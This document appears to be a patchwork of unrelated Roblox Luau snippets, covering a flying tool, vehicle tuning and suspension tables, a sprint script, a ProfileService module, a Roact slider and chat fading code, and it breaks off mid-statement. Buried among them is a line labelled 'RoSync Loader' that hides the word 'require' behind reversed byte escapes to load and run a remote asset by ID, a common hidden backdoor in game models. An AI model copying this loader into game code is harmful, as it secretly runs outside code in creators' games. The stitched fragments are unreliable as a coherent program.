local Momentum = Vector3.new(0, 0, 0) local LastMomentum = Vector3.new(0, 0, 0) local LastTilt = 0 local LastFlap = 0 local CurrentSpeed = Speed.MaxSpeed local Inertia = (1 - (Speed.CurrentSpeed / CurrentSpeed)) Momentum = (Torso.Velocity + (Torso.CFrame.lookVector * 3) + Vector3.new(0, 10, 0)) Momentum = Vector3.new(Clamp(Momentum.X, -15, 15), Clamp(Momentum.Y, -15, 15), Clamp(Momentum.Z, -15, 15)) BodyVelocity.maxForce = Vector3.new(1, 1, 1) * (10 ^ 6) BodyGyro.maxTorque = Vector3.new(BodyGyro.P, BodyGyro.P, BodyGyro.P) BodyGyro.cframe = Torso.CFrame Spawn(function() InvokeServer("Flying", {Flying = true}) end) SetAnimation("PlayAnimation", UsableAnimations.Pose) Humanoid.AutoRotate = false while Flying and Torso and Humanoid and Humanoid.Health > 0 do if CurrentSpeed ~= Speed.MaxSpeed then CurrentSpeed = Speed.MaxSpeed Inertia = (1 - (Speed.CurrentSpeed / CurrentSpeed)) end local Direction = Camera.CoordinateFrame:vectorToWorldSpace(Vector3.new(Controls.Left.Number + Controls.Right.Number, math.abs(Controls.Forward.Number) * 0.2, Controls.Forward.Number + Controls.Backward.Number)) local Movement = Direction * Speed.CurrentSpeed Momentum = (Momentum * Inertia) + Movement local TotalMomentum = Momentum.magnitude if TotalMomentum > CurrentSpeed then TotalMomentum = CurrentSpeed end local Tilt = ((Momentum * Vector3.new(1, 0, 1)).unit:Cross(((LastMomentum * Vector3.new(1, 0, 1)).unit))).y local StringTilt = tostring(Tilt) if StringTilt == "-1.#IND" or StringTilt == "1.#IND" or Tilt == math.huge or Tilt == -math.huge or StringTilt == tostring(0 / 0) then Tilt = 0 end local AbsoluteTilt = math.abs(Tilt) if AbsoluteTilt > 0.06 or AbsoluteTilt < 0.0001 then if math.abs(LastTilt) > 0.0001 then Tilt = (LastTilt * 0.9) else Tilt = 0 end else Tilt = ((LastTilt * 0.77) + (Tilt * 0.25)) end LastTilt = Tilt if TotalMomentum < 0.5 then Momentum = Vector3.new(0, 0, 0) TotalMomentum = 0 BodyGyro.cframe = Camera.CoordinateFrame else BodyGyro.cframe = CFrame.new(Vector3.new(0, 0, 0), Momentum) * CFrame.Angles(0, 0, (Tilt * -20)) * CFrame.Angles((math.pi * -0.5 * (TotalMomentum / CurrentSpeed)), 0, 0) end local GravityDelta = ((((Momentum * Vector3.new(0, 1, 0)) - Vector3.new(0, -Speed.MaxSpeed, 0)).magnitude / Speed.MaxSpeed) * 0.5) if GravityDelta > 0.45 and tick() > LastFlap then LastFlap = (tick() + 0.5) Spawn(function() if not Flying then return end if not Sounds.Wind.IsPlaying then Sounds.Wind:Play() end Spawn(function() InvokeServer("SetWingSpan", {Angle = 0, MaxVelocity = 0.05}) end) wait(0.25) if not Flying then return end Spawn(function() InvokeServer("SetWingSpan", {Angle = 0.5, MaxVelocity = 0.05}) end) wait(0.25) end) elseif GravityDelta <= 0.45 then Sounds.Wind:Stop() end BodyVelocity.velocity = Momentum LastMomentum = Momentum wait(FlyRate) end Sounds.Wind:Stop() Spawn(function() InvokeServer("SetWingSpan", {Angle = 0, MaxVelocity = 0.01}) end) Spawn(function() InvokeServer("Flying", {Flying = false}) end) SetAnimation("StopAnimation", UsableAnimations.Pose) BodyVelocity.maxForce = Vector3.new(0, 0, 0) BodyGyro.maxTorque = Vector3.new(0, 0, 0) if CheckIfAlive() then Humanoid.AutoRotate = true Humanoid:ChangeState(Enum.HumanoidStateType.Freefall) end end end function StopFlying() Flying = false BodyVelocity.maxForce = Vector3.new(0, 0, 0) BodyGyro.maxTorque = Vector3.new(0, 0, 0) end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("UpperTorso") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end PlayerMouse = Player:GetMouse() Mouse.Button1Down:connect(function() InvokeServer("MouseClick", {Down = true}) end) Mouse.Button1Up:connect(function() InvokeServer("MouseClick", {Down = false}) end) Mouse.KeyDown:connect(function(Key) local Key = string.lower(Key) local ByteKey = string.byte(Key) if ByteKey == string.byte(" ") and not Debounce then if Flying then StopFlying() elseif not Flying then if (tick() - Jumping.JumpTick) <= Jumping.JumpTime or Jumping.JumpTick == 0 then Jumping.JumpTick = tick() Jumping.Jumps = Jumping.Jumps + 1 if Jumping.Jumps >= Jumping.JumpsRequired then Debounce = true Jumping.JumpTick = 0 Jumping.Jumps = 0 Flying = true Spawn(Fly) Debounce = false end else Jumping.JumpTick = tick() Jumping.Jumps = 1 end end end for i, v in pairs(Controls) do for ii, vv in pairs(v.Keys) do v.Number = ((((string.lower(type(vv)) == string.lower("String") and Key == string.lower(vv)) or (string.lower(type(vv)) == string.lower("Number") and ByteKey == vv)) and v.Numbers.On) or v.Number) end end end) Mouse.KeyUp:connect(function(Key) local Key = string.lower(Key) local ByteKey = string.byte(Key) for i, v in pairs(Controls) do for ii, vv in pairs(v.Keys) do v.Number = ((((string.lower(type(vv)) == string.lower("String") and Key == string.lower(vv)) or (string.lower(type(vv)) == string.lower("Number") and ByteKey == vv)) and v.Numbers.Off) or v.Number) end end end) ToolEquipped = true while not BodyVelocity or not BodyVelocity.Parent or not BodyGyro or not BodyGyro.Parent and CheckIfAlive() and ToolEquipped do BodyVelocity = Torso:FindFirstChild("BodyVelocity") BodyGyro = Torso:FindFirstChild("BodyGyro") RunService.Stepped:wait() end end function Unequipped() LocalObjects = {} for i, v in pairs(Animations) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end for i, v in pairs({PreventJump}) do if v then v:disconnect() end end Sounds.Wind:Stop() Animations = {} Flying = false ToolEquipped = false end function InvokeServer(Mode, Value) pcall(function() local ServerReturn = ServerControl:InvokeServer(Mode, Value) return ServerReturn end) end function OnClientInvoke(Mode, Value) if Mode == "PlayAnimation" and Value and ToolEquipped and Humanoid then SetAnimation("PlayAnimation", Value) elseif Mode == "StopAnimation" and Value then SetAnimation("StopAnimation", Value) elseif Mode == "PlaySound" and Value then Value:Play() elseif Mode == "StopSound" and Value then Value:Stop() elseif Mode == "MousePosition" then return PlayerMouse.Hit.p elseif Mode == "DisableJump" then DisableJump(Value) elseif Mode == "Fly" and not Flying then Flying = true Spawn(function() Fly() end) end end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) ClientControl.OnClientInvoke = OnClientInvoke
--- SRR.Stiffness = carSeat.Storage.RearStiffness.Value*((1290))
--end end if wheel > 2 then carSeat.Parent.Differential.ControlX.Stiffness = ((-4000*DiffR.Value) + (10000*DiffR.Value))-1500 carSeat.Parent.Differential.ControlY.Stiffness = ((-4000*DiffR.Value) + (10000*DiffR.Value))-1500 carSeat.Parent.Transmission.ControlX.Stiffness = ((-4000*DiffF.Value) + (10000*DiffF.Value))-1500 carSeat.Parent.Transmission.ControlY.Stiffness = ((-4000*DiffF.Value) + (10000*DiffF.Value))-1500 else carSeat.Parent.Differential.ControlX.Stiffness = 0 carSeat.Parent.Differential.ControlY.Stiffness = 0 carSeat.Parent.Transmission.ControlX.Stiffness = 0 carSeat.Parent.Transmission.ControlY.Stiffness = 0 end end
-- for i = 1, 50 do
--target = hum.TargetPoint --newdir = (target - torso.Position) * Vector3.new(1, 0, 1) --if newdir.magnitude > .01 then
--[[Engine]]
--Torque Curve Tune.Horsepower = 640 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 9200 -- Use sliders to manipulate values Tune.Redline = 10000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-------------------------------------------
local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(-0.5,0.495,1) * CFrame.fromEulerAnglesXYZ(math.rad(60),0,0) --Right leg arms[2].Name = "RDave" arms[2].CanCollide = true welds[2] = weld2
--[[Engine]] --Torque Curve
Tune.Horsepower = 363 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) if plrData.Character.Injuries.BrokenArm.Value == true then return true end return false end
-- Almost redundant with function in jest-matcher-utils, -- except no line diff for any strings.
function isLineDiffableArg(expected: any, received: any): boolean local expectedType = getType(expected) local receivedType = getType(received) if expectedType ~= receivedType then return false end if isPrimitive(expected) then return false end if expectedType == "date" or expectedType == "function" or expectedType == "regexp" or expectedType == "error" then return false end -- ROBLOX TODO: Change this and other similar indexing as part of ADO-1372 if expectedType == "table" and typeof(expected.asymmetricMatch) == "function" then return false end if receivedType == "table" and typeof(received.asymmetricMatch) == "function" then return false end return true end
-- Event Binding
TimeObject.Changed:Connect(OnTimeChanged) DisplayTimerInfo.OnClientEvent:Connect(OnDisplayTimerInfo) return TimerManager
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .25 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .25 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = true -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
-- Objects
local plr = playerService.LocalPlayer local char = plr.Character or plr.CharacterAdded:wait() local settingsDir = script.Settings function getSetting (name) return settingsDir and settingsDir:FindFirstChild(name) and settingsDir[name].Value end local normalSpeed = getSetting("Walking speed") or 18 -- The player's walking speed (Roblox default is 16) local sprintSpeed = getSetting("Running speed") or 26 -- The player's speed while sprinting local sprinting = false inputService.InputBegan:Connect(function (key) if key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then running = true if char.Humanoid then char.Humanoid.WalkSpeed = sprintSpeed end end end) inputService.InputEnded:Connect(function (key) if key.KeyCode == Enum.KeyCode.LeftShift or key.KeyCode == Enum.KeyCode.RightShift then running = false if char.Humanoid then char.Humanoid.WalkSpeed = normalSpeed end end end)
--Settings
function Tween(obj,dir,info) game:GetService("TweenService"):Create(obj,dir,info):Play() end local TweeningInformation = TweenInfo.new(2,Enum.EasingStyle.Quad,Enum.EasingDirection.Out,0,true,0) while true do Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(255,0,0)}) Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(255,0,0)}) Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(255,0,0)}) wait(1) Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(255,255,0)}) Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(255,255,0)}) Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(255,255,0)}) wait(1) Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(0,255,0)}) Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(0,255,0)}) Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(0,255,0)}) wait(1) Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(0,255,255)}) Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(0,255,255)}) Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(0,255,255)}) wait(1) Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(0,0,255)}) Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(0,0,255)}) Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(0,0,255)}) wait(1) Tween(script.Parent.Ears, TweeningInformation, {Color = Color3.fromRGB(255,0,255)}) Tween(script.Parent.Hair, TweeningInformation, {Color = Color3.fromRGB(255,0,255)}) Tween(script.Parent.Tail, TweeningInformation, {Color = Color3.fromRGB(255,0,255)}) wait(1) end
-- This makes the loading bar fill up. Don't touch anything here!
local prog = 0 while wait() do prog = prog + 0.5 script.Parent.Size = UDim2.new(prog/100, 0, 0.1, 0) script.Parent.Parent.LoadingLabel.Text = ("Loading... " ..math.floor(prog*2).. "%") if prog == 50 then wait(1) script.Parent.Parent.Parent:Destroy() end end
--[=[ Constructs a new CancelToken @param executor (cancel: () -> ()) -> () @return CancelToken ]=]
function CancelToken.new(executor) local self = setmetatable({}, CancelToken) assert(type(executor) == "function", "Bad executor") self.PromiseCancelled = Promise.new() self.Cancelled = Signal.new() self.PromiseCancelled:Then(function() self.Cancelled:Fire() self.Cancelled:Destroy() end) executor(function() self:_cancel() end) return self end local EMPTY_FUNCTION = function() end
--[[ Merges values from zero or more tables onto a target table. If a value is set to None, it will instead be removed from the table. This function is identical in functionality to JavaScript's Object.assign. ]]
local function assign(target, ...) for index = 1, select("#", ...) do local source = select(index, ...) if source ~= nil then for key, value in pairs(source) do if value == None then target[key] = nil else target[key] = value end end end end return target end return assign
-- The event to use for waiting (typically Heartbeat)
local STEP_EVENT = RunService.Heartbeat local function cleanupOnDestroy(instance: Instance?, task: cleanup.Task): (() -> ()) -- set up manual disconnection logic local isDisconnected = false local ancestryChangedConn local function disconnect() if not isDisconnected then isDisconnected = true ancestryChangedConn:Disconnect() end end -- We can't keep a reference to the instance, but we need to keep track of -- when the instance is parented to `nil`. -- To get around this, we can save the parent from AncestryChanged here local isNilParented = instance.Parent == nil -- when AncestryChanged is called, run some destroy-checking logic -- this function can yield when called, so make sure to call in a new thread -- if you don't want your current thread to block local function onInstanceMove(_doNotUse: Instance?, newParent: Instance?) if isDisconnected then return end -- discard the first argument so we don't inhibit GC _doNotUse = nil isNilParented = newParent == nil -- if the instance has been moved into a nil parent, it could possibly -- have been destroyed if no other references exist if isNilParented then -- We don't want this function to yield, because it's called -- directly from the main body of `connectToDestroy` coroutine.wrap(function() -- This delay is needed because the event will always be connected -- when it is first run, but we need to see if it's disconnected as -- a result of the instance being destroyed. STEP_EVENT:Wait() if isDisconnected then return elseif not ancestryChangedConn.Connected then -- if our event was disconnected, the instance was destroyed cleanup(task) disconnect() else -- The instance currently still exists, however there's a -- nasty edge case to deal with; if an instance is destroyed -- while in nil, `AncestryChanged` won't fire, because its -- parent will have changed from nil to nil. -- For this reason, we set up a loop to poll -- for signs of the instance being destroyed, because we're -- out of event-based options. while isNilParented and ancestryChangedConn.Connected and not isDisconnected do -- FUTURE: is this too often? STEP_EVENT:Wait() end -- The instance was either destroyed, or we stopped looping -- for another reason (reparented or `disconnect` called) -- Check those other conditions before calling the callback. if isDisconnected or not isNilParented then return end cleanup(task) disconnect() end end)() end end ancestryChangedConn = instance.AncestryChanged:Connect(onInstanceMove) -- in case the instance is currently in nil, we should call `onInstanceMove` -- before any other code has the opportunity to run if isNilParented then onInstanceMove(nil, instance.Parent) end -- remove this functions' reference to the instance, so it doesn't influence -- any garbage collection and cause memory leaks instance = nil return disconnect end return cleanupOnDestroy
-- humanoid.Torso.Color = teamColor -- humanoid.Torso.Reflectance = 0.2 -- humanoid.LeftLeg.Color = teamColor -- humanoid.LeftLeg.Reflectance = 0.2 -- humanoid.RightLeg.Color = teamColor -- humanoid.RightLeg.Reflectance = 0.1
end function onTouchHumanoid(humanoid) local team = humanoid:findFirstChild("Team", false) if team==nil then joinTeam(humanoid) elseif team.Value~=teamColor then -- Harm the enemy! humanoid.Health = 0 return end if not healerIsResting then -- Heal the player humanoid.Health = humanoid.Health + 50 coroutine.resume(coroutine.create(restHealer)) end end goingUp = false function goUp(speed) if goingUp then return end goingUp = true vel.velocity = Vector3.new(0,speed,0) wait(15/speed) vel.velocity = Vector3.new(0,-2,0) goingUp = false end function onTouch(touchedPart) -- see if a character touched it local parent = touchedPart.Parent if parent~=nil then local humanoid = parent:findFirstChild("Humanoid", false); if humanoid ~= nil then onTouchHumanoid(humanoid) goUp(10) return end end -- change direction if touchedPart.Position.y > beacon.Center.Position.y then vel.velocity = Vector3.new(0,-2,0) goingUp = false elseif touchedPart.Position.y < beacon.Center.Position.y then goUp(2) end end function connectPart(part) part.Color = teamColor part.Touched:connect(onTouch) end
-- Profile object:
local Profile = { --[[ Data = {}, -- [table] -- Loaded once after ProfileStore:LoadProfileAsync() finishes MetaData = {}, -- [table] -- Updated with every auto-save GlobalUpdates = GlobalUpdates, -- [GlobalUpdates] _profile_store = ProfileStore, -- [ProfileStore] _profile_key = "", -- [string] _release_listeners = {listener, ...} / nil, -- [table / nil] _view_mode = true / nil, -- [bool / nil] _load_timestamp = os.clock(), _is_user_mock = false, -- ProfileStore.Mock --]] } Profile.__index = Profile function Profile:IsActive() --> [bool] local loaded_profiles = self._is_user_mock == true and self._profile_store._mock_loaded_profiles or self._profile_store._loaded_profiles return loaded_profiles[self._profile_key] == self end function Profile:GetMetaTag(tag_name) --> value local meta_data = self.MetaData if meta_data == nil then return nil -- error("[ProfileService]: This Profile hasn't been loaded before - MetaData not available") end return self.MetaData.MetaTags[tag_name] end function Profile:SetMetaTag(tag_name, value) if type(tag_name) ~= "string" then error("[ProfileService]: tag_name must be a string") elseif string.len(tag_name) == 0 then error("[ProfileService]: Invalid tag_name") end if self._view_mode == true then error("[ProfileService]: Can't set meta tag in view mode") end if self:IsActive() == false then error("[ProfileService]: PROFILE EXPIRED - Meta tags can't be set") end self.MetaData.MetaTags[tag_name] = value end function Profile:Reconcile() ReconcileTable(self.Data, self._profile_store._profile_template) end function Profile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil) if type(listener) ~= "function" then error("[ProfileService]: Only a function can be set as listener in Profile:ListenToRelease()") end if self._view_mode == true then error("[ProfileService]: Can't listen to Profile release in view mode") end if self:IsActive() == false then -- Call release listener immediately if profile is expired local place_id local game_job_id local active_session = self.MetaData.ActiveSession if active_session ~= nil then place_id = active_session[1] game_job_id = active_session[2] end listener(place_id, game_job_id) return { Disconnect = function() end, } else table.insert(self._release_listeners, listener) return Madwork.NewArrayScriptConnection(self._release_listeners, listener) end end function Profile:Save() if self._view_mode == true then error("[ProfileService]: Can't save Profile in view mode") end if self:IsActive() == false then error("[ProfileService]: PROFILE EXPIRED - Can't save Profile") end -- We don't want auto save to trigger too soon after manual saving - this will reset the auto save timer: RemoveProfileFromAutoSave(self) AddProfileToAutoSave(self) -- Call save function in a new thread: coroutine.wrap(SaveProfileAsync)(self) end function Profile:Release() if self._view_mode == true then error("[ProfileService]: Can't release Profile in view mode") end if self:IsActive() == true then coroutine.wrap(SaveProfileAsync)(self, true) -- Call save function in a new thread with release_from_session = true end end
--[[ Last synced 4/22/2021 04:06 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
-- Services
local ContextActionService = game:GetService 'ContextActionService'
-- Create component
local Slider = Roact.PureComponent:extend(script.Name) function Slider:init() self.Maid = Maid.new() end function Slider:willUnmount() self.Maid:Destroy() ContextActionService:UnbindAction('SliderDragging') end function Slider:render() return new('ImageButton', { Active = false; Size = self.props.Size; BackgroundColor3 = self.props.BackgroundColor3; LayoutOrder = self.props.LayoutOrder; AutoButtonColor = false; BorderSizePixel = 0; [Roact.Event.InputBegan] = function (rbx, Input) if (Input.UserInputType.Name == 'MouseButton1') or (Input.UserInputType.Name == 'Touch') then self:HandleDragInput(rbx, Input) self:ListenToDragEvents(rbx) end end; }, Cryo.Dictionary.join(self.props[Roact.Children] or {}, { Corners = new('UICorner', { CornerRadius = UDim.new(0, 4); }); Thumb = new('Frame', { AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = Color3.fromRGB(255, 255, 255); BorderSizePixel = 0; Position = (typeof(self.props.Value) == 'number') and self.props.Value or self.props.Value:map(function (Value) return UDim2.new(Value, 0, 0.5, 0) end); Size = UDim2.new(0, 4, 0, 4); ZIndex = 2; }, { Corners = new('UICorner', { CornerRadius = UDim.new(1, 0); }); Shadow = new('Frame', { AnchorPoint = Vector2.new(0.5, 0.5); BackgroundColor3 = Color3.fromRGB(56, 56, 56); BorderSizePixel = 0; Position = UDim2.new(0.5, 0, 0.5, 0); Size = UDim2.new(0, 6, 0, 6); }, { Corners = new('UICorner', { CornerRadius = UDim.new(1, 0); }) }); }); })) end function Slider.IsDragInput(Input) return (Input.UserInputType.Name == 'MouseMovement') or (Input.UserInputType.Name == 'MouseButton1') or (Input.UserInputType.Name == 'Touch') end function Slider:ListenToDragEvents(SliderObject) local function Callback(Action, State, Input) return Enum.ContextActionResult.Sink end ContextActionService:BindAction('SliderDragging', Callback, false, Enum.UserInputType.MouseButton1, Enum.UserInputType.MouseMovement, Enum.UserInputType.Touch ) self.Maid.DragChangeListener = UserInputService.InputChanged:Connect(function (Input) if self.IsDragInput(Input) then self:HandleDragInput(SliderObject, Input) end end) self.Maid.DragEndListener = UserInputService.InputEnded:Connect(function (Input) if self.IsDragInput(Input) then self:HandleDragInput(SliderObject, Input) self.Maid.DragChangeListener = nil self.Maid.DragEndListener = nil ContextActionService:UnbindAction('SliderDragging') end end) end function Slider:HandleDragInput(SliderObject, Input) local Alpha = math.clamp((Input.Position.X - SliderObject.AbsolutePosition.X) / SliderObject.AbsoluteSize.X, 0, 1) self.props.OnValueChanged(Alpha) end return Slider
-----------------------------------------------------------------------------
script.Parent.Humanoid.HealthChanged:Connect(function() if script.Parent.Humanoid.Health <= 61 then Instance.new("Decal", script.Parent["Right Arm"]) script.Parent["Right Arm"].Decal.Texture = "rbxassetid://508050982" script.Parent["Right Arm"].Decal.Face = "Right" end end)
-- ================================================================================ -- LOCAL FUNCTIONS -- ================================================================================
function BoostSetup() local Speedometer = gui:WaitForChild("Speedometer") local Bar = Speedometer:WaitForChild("Bar") local SpeedBar = Bar:WaitForChild("SpeedBar") function GuiController:UpdateBoost(boostAmount) local boostPercentage = math.clamp(boostAmount/engine._settings.BoostAmount, 0, 1) Bar.Position = UDim2.new(-1 + boostPercentage, 0, 0, 0) SpeedBar.Position = UDim2.new(1 - 1*boostPercentage, 0, 0, 0) end end -- BoostSetup()
--For tires:
for i,child in pairs(script.Parent.Parent:GetChildren()) do if string.find(child.Name, "FR") then FRtire = child.PhysicsTire elseif string.find(child.Name, "FL") then FLtire = child.PhysicsTire elseif string.find(child.Name, "RR") then RRtire = child.PhysicsTire elseif string.find(child.Name, "RL") then RLtire = child.PhysicsTire end end local frontDistance = (script.Parent.Parent.Base.Position - FRtire.Position).magnitude + 0.5 local rearDistance = (script.Parent.Parent.Rear.Position - RRtire.Position).magnitude + 0.5 function deleteCar() print"Deleting car fling" script.Parent.Parent.Parent:Destroy() end thrust.Force = Vector3.new(0,0,0) seat.Changed:Connect(function() if not inLoop then inLoop = true repeat wait(0.3) local speed = seat.Velocity.Magnitude if speed > 90 and seat.Occupant ~= nil then factor = (55/speed) * factorMain-- elseif speed > 60 and speed <= 90 and seat.Occupant ~= nil then factor = (51/speed) * factorMain-- elseif speed > 30 and speed <= 60 and seat.Occupant ~= nil then factor = (47/speed) * factorMain-- elseif speed > 10 and speed <= 30 and seat.Occupant ~= nil then factor = (40/speed) * factorMain-- elseif speed < 10 and speed <= 1 and seat.Occupant ~= nil then factor = (0.9) * factorMain-- elseif speed < 30 and seat.Occupant == nil then factor = (0.5) * factorMain-- end if speed > maxSpeed + 2 then factor = factorMain/2 end if seat.Throttle == -1 then factor = factor * -1 elseif seat.Throttle == 1 then factor = factor/2 end thrust.Force = Vector3.new(0,0,(400*speed*factor)) --print (speed,thrust.Force) --For tires if (script.Parent.Parent.Base.Position - FRtire.Position).magnitude > frontDistance then wait(1)if (script.Parent.Parent.Base.Position - FRtire.Position).magnitude > frontDistance then deleteCar() end end if (script.Parent.Parent.Base.Position - FLtire.Position).magnitude > frontDistance then wait(1) if (script.Parent.Parent.Base.Position - FLtire.Position).magnitude > frontDistance then deleteCar() end end if (script.Parent.Parent.Rear.Position - RRtire.Position).magnitude > rearDistance then wait(1)if (script.Parent.Parent.Rear.Position - RRtire.Position).magnitude > rearDistance then deleteCar() end end if (script.Parent.Parent.Rear.Position - RLtire.Position).magnitude > rearDistance then wait(1)if (script.Parent.Parent.Rear.Position - RLtire.Position).magnitude > rearDistance then deleteCar() end end until speed < 1 inLoop = false end end)
--EDIT BELOW----------------------------------------------------------------------
settings.PianoSoundRange = 50 settings.KeyAesthetics = true settings.PianoSounds = { "674235030", "674235182", "674235405", "674244823", "674244967", "674245210" }
--//////////////////////////////////////////////////////////////////////////////////////////// --////////////////////////////////////////////////////////////// Code to do chat window fading --////////////////////////////////////////////////////////////////////////////////////////////
function CheckIfPointIsInSquare(checkPos, topLeft, bottomRight) return (topLeft.X <= checkPos.X and checkPos.X <= bottomRight.X and topLeft.Y <= checkPos.Y and checkPos.Y <= bottomRight.Y) end local backgroundIsFaded = false local textIsFaded = false local lastTextFadeTime = 0 local lastBackgroundFadeTime = 0 local fadedChanged = Instance.new("BindableEvent") local mouseStateChanged = Instance.new("BindableEvent") local chatBarFocusChanged = Instance.new("BindableEvent") function DoBackgroundFadeIn(setFadingTime) lastBackgroundFadeTime = tick() backgroundIsFaded = false fadedChanged:Fire() ChatWindow:FadeInBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration)) local currentChannelObject = ChatWindow:GetCurrentChannel() if (currentChannelObject) then local Scroller = MessageLogDisplay.Scroller Scroller.ScrollingEnabled = true Scroller.ScrollBarThickness = moduleMessageLogDisplay.ScrollBarThickness end end function DoBackgroundFadeOut(setFadingTime) lastBackgroundFadeTime = tick() backgroundIsFaded = true fadedChanged:Fire() ChatWindow:FadeOutBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration)) local currentChannelObject = ChatWindow:GetCurrentChannel() if (currentChannelObject) then local Scroller = MessageLogDisplay.Scroller Scroller.ScrollingEnabled = false Scroller.ScrollBarThickness = 0 end end function DoTextFadeIn(setFadingTime) lastTextFadeTime = tick() textIsFaded = false fadedChanged:Fire() ChatWindow:FadeInText((setFadingTime or ChatSettings.ChatDefaultFadeDuration) * 0) end function DoTextFadeOut(setFadingTime) lastTextFadeTime = tick() textIsFaded = true fadedChanged:Fire() ChatWindow:FadeOutText((setFadingTime or ChatSettings.ChatDefaultFadeDuration)) end function DoFadeInFromNewInformation() DoTextFadeIn() if ChatSettings.ChatShouldFadeInFromNewInformation then DoBackgroundFadeIn() end end function InstantFadeIn() DoBackgroundFadeIn(0) DoTextFadeIn(0) end function InstantFadeOut() DoBackgroundFadeOut(0) DoTextFadeOut(0) end local mouseIsInWindow = nil function UpdateFadingForMouseState(mouseState) mouseIsInWindow = mouseState mouseStateChanged:Fire() if (ChatBar:IsFocused()) then return end if (mouseState) then DoBackgroundFadeIn() DoTextFadeIn() else DoBackgroundFadeIn() end end spawn(function() while true do RunService.RenderStepped:Wait() while (mouseIsInWindow or ChatBar:IsFocused()) do if (mouseIsInWindow) then mouseStateChanged.Event:Wait() end if (ChatBar:IsFocused()) then chatBarFocusChanged.Event:Wait() end end if (not backgroundIsFaded) then local timeDiff = tick() - lastBackgroundFadeTime if (timeDiff > ChatSettings.ChatWindowBackgroundFadeOutTime) then DoBackgroundFadeOut() end elseif (not textIsFaded) then local timeDiff = tick() - 